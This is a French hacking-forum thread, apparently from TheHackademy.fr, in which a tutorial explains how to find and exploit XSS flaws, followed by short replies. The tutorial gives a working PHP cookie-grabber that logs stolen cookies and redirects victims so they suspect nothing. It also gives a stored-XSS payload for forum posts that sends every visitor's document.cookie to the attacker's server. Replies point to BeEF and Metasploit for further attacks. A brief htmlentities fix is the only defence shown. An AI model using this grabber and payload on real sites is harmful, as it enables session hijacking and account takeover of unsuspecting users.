Annonce

Réduire
Aucune annonce.

La faille XSS (exploitation, sécurisation)

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Tutoriel La faille XSS (exploitation, sécurisation)

    Bonjour à tous,

    Pour commencer ce tutoriel en toute sérénité, je précise que des connaissances du moins de bases en HTML, PHP et Javascript sont nécessaires pour comprendre ce tutoriel, mais si vous en avez la flemme je pourrait toujours répondre à vos questions si-bas.

    Le tutoriel portera sur les questions suivantes : Qu'est-ce que la faille XSS ? Comment la déceler ? Quelles armes utiliser pour l'exploiter et comment ? Que peut t'on tirer de cette exploitation ? et enfin comment se sécuriser contre la faille XSS ?

    Biensure ce tutoriel est à but informatif et ne doit en aucun cas être utilisé pour nuire à autrui, si vous le faites l'équipe de TheHackademy.fr et moi-même retire toutes responsabilités de vos actes. Je vous conseil tout de même de faire un tour dans la partie législation du forum pour vous renseigner.

    Qu'est-ce que la faille XSS ?

    La faille XSS abréviation de (Cross-site Scripting) consiste à injecter dans un site web ou une application web du code Javascript dans les données lorsque le HTML n'est pas désactivé. Par exemple : On injecte un code javascript dans un message que l'on post dans un forum plutôt fréquenté nous permettant de voler les cookies des visiteurs, à chaque fois qu'un internaute passe sur votre post le code injecté par la faille se déclenche et vol les cookies de la personne en question. (un exemple parmi tant d'autres).

    C'est bien beau tout ça mais comment trouver la faille ? J'y viens, j'y viens.

    Comment la déceler ?

    Vous arrivez maintenant sur la page internet de votre cible, la faille se trouve dans tous les formulaires (moteur de recherche, systèmes de commentaires, livre d'or chat, essayez-les tous !) à condition que le HTML soit interprété. Pour vérifier si le HTML est activé ou désactivé dans un champ de formulaire on peut effectuer plusieurs tests commencez tout d'abord d'insérer du HTML basique dans le champ :

    Code:
    <b>Test</b>
    si le moteur de recherche (par exemple) indique ceci : Aucun résultat trouvé pour le terme "Test" c'est que la faille XSS est bien là, s'il affiche ceci : Aucun résultat trouvé pour le terme "<b>Test</b>" il n'y a pas de faille cherchez ailleurs sur le site ou passez votre chemin.

    Ok si le test c'est révélé positif on va maintenant pouvoir injecter du javascript de la même manière essayons tout d'abord avec quelque chose de simple :

    Code:
    <script>alert("Test du javascript");</script>
    Si la page vous ouvre une boîte de dialogue avec écrit Test du javascript c'est qu'il y a officiellement quelque chose à exploiter.

    Que peut t'on tirer de cette exploitation ?

    En général l'injection de code javascript dans la faille XSS est utilisé pour voler les cookies des internautes ou d'une cible précise comme un administrateur. Un cookie est un dessert à base de farine et de chocolat...euh non (blague trop souvent faite ! ). En informatique un cookie est un fichier stocké sur votre ordinateur où un site décide ou non d'y insérer des informations souvent relatives à vos identifiants, en clair c'est cela qui fait que même en quittant un site si vous revenez dessus avant l'expiration du cookie crée par le site vous êtes toujours connecté. Bien sûr vous êtes le seul à pouvoir avoir accès à ce fichier et de toute façon les informations sont cryptées... à moins que l'on vous les vols. Une fois volés vos cookies ne seront toujours pas décryptable puis ce que les données ne sont pas encodées mais hashées, mais le hackeur pourra les faire interpréter par son navigateur et ainsi prendre votre identité sur le site en question. Prenez en compte que il existe un cookie par site et qu'il peut ne pas y en avoir si le site n'y fait pas appel.

    On va maintenant faire un dernier test avant de passer à l'exploitation, le site utilise-t'il des cookies. Pour cela introduisez ceci dans votre barre url en étant sur la page du site cible, au préalable il vaut mieux se connecter au site :

    Code:
    javascript:alert(document.cookie)
    Si la boîte de dialogue affiche du texte on passe à l'exploitation sinon passez votre chemin.


    Quelles armes utiliser pour l'exploiter et comment ?

    Pour exploiter la faille XSS, il nous faut un script PHP qui va enregistrer le cookie volé dans un .txt, car nous ne pouvons pas voir le cookie des autres, seulement le nôtre. Voici un code PHP à mettre dans votre fichier a.php (on vas voir plus tard pourquoi le nom est court) :

    [/COLOR]
    Code:
    <?php
    $cookie = $_GET[«c»]; // on reconnaît c en variable GET if($cookie)
    {
    $fp = fopen(«cookies.txt»,»a»); // On ouvre cookies.txt en edition (il est créé si il n’existe pas)
    fputs($fp,$cookie . «\r\n»); // On écrit le contenu du cookie sur une nouvelle ligne
    fclose($fp); // On ferme le fichier cookies.txt
    /* FAIRE UNE REDIRECTION JAVASCRIPT CI-DESSOUS POUR QU’ON SE DOUTE DE RIEN */
    } ?>
    <script> location.replace(«http://www.google.fr»); </script>


    Enregistrez le fichier sous et tapez r.php et mettez le fichier sur un serveur FTP qui supporte le PHP (lycos,webzzanine etc...) Ici nous imaginerons que notre site est http://monsite.fr, donc le grabber aura pour adresse http://monsite.fr/r.php (je fais l’URL la plus courte, on verra sa plus tard) notre script est en place, Passons à la suite !

    L'exploitation (enfin)

    Commençons tout d'abord par l'exploitation la plus simple, je ferai des mises à jour souvent pour rajouter des contexte et des méthodes selon la situation (moteur de recherche (Get et Post), les formulaires de type "Select" et bien d'autres).

    Les messageries (commentaires, forums, chat etc...)


    Bon, vous savez déjà déceler des failles XSS sur un moteur de recherche, mais c’est pareil sur un forum. Imaginez une pure situation concrète où vous êtes un membre parmis les autres, vous avez votre cookie à vous, etc... On va commencer discret, allez poster un message et tapez :
    <b>yep!</b> Si vous voyez yep!, c’est que c’est bien parti. Sinon, ben il ya pas de faille... Nous allons maintenant exécuter un script qui ouvre en pop-up notre grabber de cookie. Voici la ligne à insérer après votre petit message:

    Code:
    
    <script>window.open(«http://monsite.fr/r.php?c=»+document.cookie)</script>

    En voyant le code, on comprend parfaitement qu’il y a ?c=, c’est la variable $_GET[‘c’] de notre code. Ensuite on ferme le quot et on mets un + en javascript pour concaténer la variable superglobale document.cookie qui représente notre cookie, vous me suivez ? Imaginez qu’une personne dont le pseudo est John et dont le mot de passe est pizza, il aura un cookie qui peut ressembler à ça : login=John; pass=pizza;
    Donc, quand il verra vote message, si il y a une faille XSS, une pop-up va s’ouvrir et va enregistrer vote cookie car c’est comme si le code était :

    Code:
    
    <script>window.open(«http://mon- site.fr/r.php?c=login=John; pass=pizza;»)</script>
    
    Et vu que notre script enregistre la valeur de $_GET[‘c’] dans cookies.txt, nous aurons subtilisé son cookie.

    Comment se sécuriser contre la faille XSS ?

    Et bien c'est tout bête si vous avez bien tous lu, vous aurez compris que la faille XSS est présente si et seulement si le HTML dans le résultat du <form> est interprété, donc pour éviter cette faille désactivons le. Un code HTML ou javascript est fait de balise comme ceci "<" la sécurisation viens de là quand on envoi la variable via POST ou GET on va supprimer ces balises ainsi :

    Code:
    <?php
    $texte = htmlentities($_POST[‘texte’],ENT_QUOTES);
    ?>


    Voilà je vous remercie d'avoir lu mon tout premier tutoriel sur thehackademy.fr et j'espère que j'ai était assez clair et compréhensible pour qu'il vous soit appréciable à lire !

    Très cordialement,
    MrZpad

    Dernière modification par comaX, 18 novembre 2011, 09h46. Motif: typo
    Le manuel disait « Nécessite Windows XP ou mieux ». J’ai donc installé Linux.

  • #2
    il y plus beaucoup de site avec cette faille mais merci pour le tuto
    sigpic

    Commentaire


    • #3
      J'en ai exploité une sur mon propre site aujourd'hui, ça fait tout drôle. Je vais essayer de patcher ça !

      Edit : c'est bon, ce n'est plus exploitable. En revanche j'ai des petits problèmes d'injection SQL il parait. J'ai pas réussi à les exploiter mais bon.
      Sinon, comment supprimer les balises html à l'envoi ? J'ai mis du code pour ne pas interpréter les balises html qui viendrait d'une entrée SQL, mais il est toujours possible d'entrer des balises HTML dans la base. Certes, c'est peu génant, mais enfin... Une idée ?
      Dernière modification par comaX, 23 novembre 2012, 16h46.

      Commentaire


      • #4
        Mauvaise idée noir et gris clair sur fond gris foncé :/
        Au sinon très bon tuto, fait partie des failles les plus connus pourtant elle reste présente sur de nombreux sites.
        Merci
        Are hackers a threat? The degree of threat presented by any conduct, whether legal or illegal, depends on the actions and intent of the individual and the harm they cause.
        Kevin Mitnick

        Commentaire


        • #5
          le vol de cookie c'est connu moi je cherche un truc plus avancé =)

          Commentaire


          • #6
            Tu as juste besoin d'apprendre le Javascript
            Dernière modification par Yarflam, 09 mai 2013, 19h25.
            ~ Yarflam ~

            ❉ L'Univers se dirige vers son ultime perfection ❉

            Commentaire


            • #7
              Salut

              Quelles armes utiliser pour l'exploiter et comment ?

              j'aime bien utiliser Localtunnel pour le test de faille XSS,LFI
              il permet simplement de Partager serveur localhost sur ​​internet .
              Fonctionne avec apache .

              http://progrium.com/localtunnel/
              Code:
              gem install localtunnel

              Commentaire


              • #8
                Envoyé par mazmaz Voir le message
                le vol de cookie c'est connu moi je cherche un truc plus avancé =)
                salut

                Tu peut essayer Beef-Xss + metasploits
                mais déjà avec Beef-Xss more options

                http://www.bindshell.net/tools/beef/

                Ici un tuto pour configurer beEF+Metasploit :http://jumpespjump.blogspot.fr/2013/...ali-linux.html

                Rien de bien compliqué juste à lire la doc de Beef et la config : usr/share/beef-xss/config.yml

                Commentaire


                • #9
                  Merci beaucoup le tutoriel est vraiment compréhensible et bien expliqué.
                  Dernière modification par comaX, 15 août 2013, 13h32.

                  Commentaire

                  Chargement...
                  X